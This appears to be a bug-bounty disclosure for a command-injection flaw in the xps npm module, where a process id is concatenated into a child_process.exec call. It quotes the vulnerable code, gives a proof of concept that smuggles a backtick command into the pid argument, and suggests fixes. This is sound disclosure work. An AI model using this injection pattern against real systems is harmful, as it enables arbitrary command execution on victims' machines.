[xps] Command Injection via insecure command concatenation
The xps npm module builds a shell command by concatenating the caller-supplied process id into a string passed to child_process.exec, without proper sanitisation. An attacker who can control that argument could run arbitrary commands on the machine running the code.
- Triaged in 13 hours
- Fixed in 3 months
- Disclosed after 3 months
I would like to report a Command Injection issue in the xps module.
It allows to execute arbitrary commands on the victim's PC.
Module
module name: xps
version: 1.0.2
npm page: https://www.npmjs.com/package/xps
Module Description
xps is a cross-platform library for listing and killing processes.
Module Stats
[10] weekly downloads
Vulnerability
Vulnerability Description
The issue occurs because a user input parameter is used inside a command that is executed without any check.
Here's the code which causes the issue:
// https://github.com/robotlolita/xps/blob/master/lib/linux.js#L48
...
var shell = require('./utils').shell;
...
exports.kill = kill;
function kill(pid) {
return shell('kill', ['-9', pid]).map(K(undefined)); // <-- user's input
}
// --------------------------------------------------
// https://github.com/robotlolita/xps/blob/master/lib/utils.js#L26
...
var exec = require('child_process').exec;
...
var escapeArg = JSON.stringify;
...
exports.shell = shell;
function shell(cmd, args) {
var command = cmd + ' ' + args.map(unary(compose(escapeArg)(String))).join(' '); // <-- injection
return new Task(function(reject, resolve) {
exec(command, function(error, stdout, stderr) {
if (error) reject(error);
else resolve({ output: stdout, error: stderr });
});
});
}
The argument pid is used to build the command that is passed to the child_process.exec function without any sanitization.
Steps To Reproduce:
-
create a directory for testing
mkdir poccd poc/
-
install
xpsmodule:npm i xps
-
create the following PoC JavaScript file (
poc.js):
const ps = require('xps');
ps.kill('`touch HACKED;`').fork();
- make sure that the
HACKEDfile does not exist:ls
- execute the
poc.jsfile:node poc.js
- the
HACKEDfile is created:ls
Patch
Do not concatenate/format commands using insecure user's input. Always check and sanitize it.
In my opinion, it's better to use child_process.execFile or child_process.spawn functions instead of child_process.exec.
In this case it could be helpful to parse the pid as integer (var pid = parseInt(pid)).
Supporting Material/References:
- OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
- NODEJS VERSION: v14.1.0
- NPM VERSION: 6.14.4
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Thank you for your time.
best regards,
d3lla
Impact
Command Injection on a xps module via insecure command concatenation.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the process id is concatenated into a shell command string and run through child_process.exec, so shell metacharacters in the value are interpreted rather than treated as plain data.
Impact
Command injection in the xps module could let an attacker execute arbitrary commands on the victim's PC, though only where the attacker can influence the process id passed to the library.
What the attacker needed
Attacker controls the pid argument; victim runs code using the xps module
How it was found
- Create a test directory and install the xps module.
- Write a small script that calls the kill function with a crafted process id value.
- Confirm the marker file does not exist yet.
- Run the script with node.
- Observe that the marker file has been created.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This library is meant to stop a running program when you give it that program's number (its process id). Instead of passing the number safely, it glues it into a text command that the operating system then runs, so extra characters in the number can make the computer run other commands too. Anyone who can supply that value could run their own commands on the victim's machine.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.